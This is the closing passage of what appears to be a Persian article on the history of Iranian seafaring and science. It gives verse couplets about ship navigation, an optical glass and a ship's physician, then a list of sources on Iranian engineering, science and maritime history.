بپوید ره و گم نگردد ز جای چنین است اندیشه ناخدای
به شیشه، به نزدیک چشم آورید چو جام جم آمد نهان را پدید
نگارش چو کوته شد و سودمند بخوانی، تو گردی رها از گزند
پزشکی فراز آمده آشنا به کشتی درون و به دریا شنا
ز دریانوردی که شد دردمند نوشته ز دارو که شد سودمند
منابع، مراجع و ماخذ:
تاریخ مهندسی در ایران، مهدی فرشاد
تاریخ علم در ایران، مهدی فرشاد
تاریخ علم، جورج سارتون
تاریخ صنعت و اختراعات، موریس داماس
دریانوردی ایرانیان، اسماعیل رایین
زندگی و مهاجرت نژاد آریا، فریدون جنیدی
متفکران اسلامی، کارون دوو
فرهنگ دریایی خلیج فارس، حسین نوربخش